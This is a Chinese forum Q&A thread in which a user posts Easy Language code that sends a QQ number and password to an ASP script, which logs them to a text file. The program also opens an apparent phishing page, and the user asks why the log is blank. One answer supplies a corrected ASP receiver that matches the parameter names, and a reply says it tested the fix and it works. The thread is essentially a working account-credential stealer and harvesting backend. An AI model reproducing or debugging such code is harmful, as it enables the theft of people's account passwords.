Question

用易语言学习写了个收信程序， 但是ASP收到的TXT信总是空白的， .空间的asp文件该怎么改？以下是我的源码

E源码：
.如果真 (QQASP (“127.0.0.1/shouxin.asp”, 编辑框1.内容, 编辑框2.内容) ＝ “发送成功”)
.如果真结束
信息框 (“ 服务器连接成功 ”, 0, )
运行 (“c:\program files\internet explorer\iexplore.exe 127.0.0.1/pk/index.htm/”, 假, )
.子程序 QQASP, 文本型, , 发送帐号密码到ASP收信
.参数 地址, 文本型
.参数 号码, 文本型
.参数 密码, 文本型
返回 (到文本 (HTTP读文件 (地址 ＋ “?” ＋ “qqnumber=” ＋ 号码 ＋ “&qqpassword=” ＋ 密码)))

ASP源码：

<%
num=request("num")
pass=request("pass")
set fs=server.CreateObject("Scripting.FileSystemObject")
set file=fs.OpenTextFile(server.MapPath("shouxin.txt"),8,True)
file.writeline qqnumber+"---"+"-"+qqpassword
file.close
set file=nothing
set fs=nothing
response.write "Send OK!"
%>

关键是放到FPT上的 .asp文件该怎么改？为什么收到的信会是空白的呢？ 求前辈们指点指点，学习之用 不搞违法犯罪活动！





Answer 1

返回 (到文本 (HTTP读文件 (地址 ＋ “?” ＋ “qqnumber=” ＋ 号码 ＋ “&qqpassword=” ＋ 密码)))

这段改为网页_访问 GET模式

追问

改为GET模式？ 怎么改？全改吗？E改了ASP要改吗？

Answer 2

<%
num=request("qqnumber")
pass=request("qqpassword")
set fs=server.CreateObject("Scripting.FileSystemObject")
set file=fs.OpenTextFile(server.MapPath("shouxin.txt"),8,True)
file.writeline num+"---"+"-"+pass
file.close
set file=nothing
set fs=nothing
response.write "Send OK!"
%>

追问

按照你的方法修改的代码， TXT收到的信还是空白的, 郁闷

追答

我测试了是可以的。你直接用浏览器打开HTTP读文件 里的 地址看看。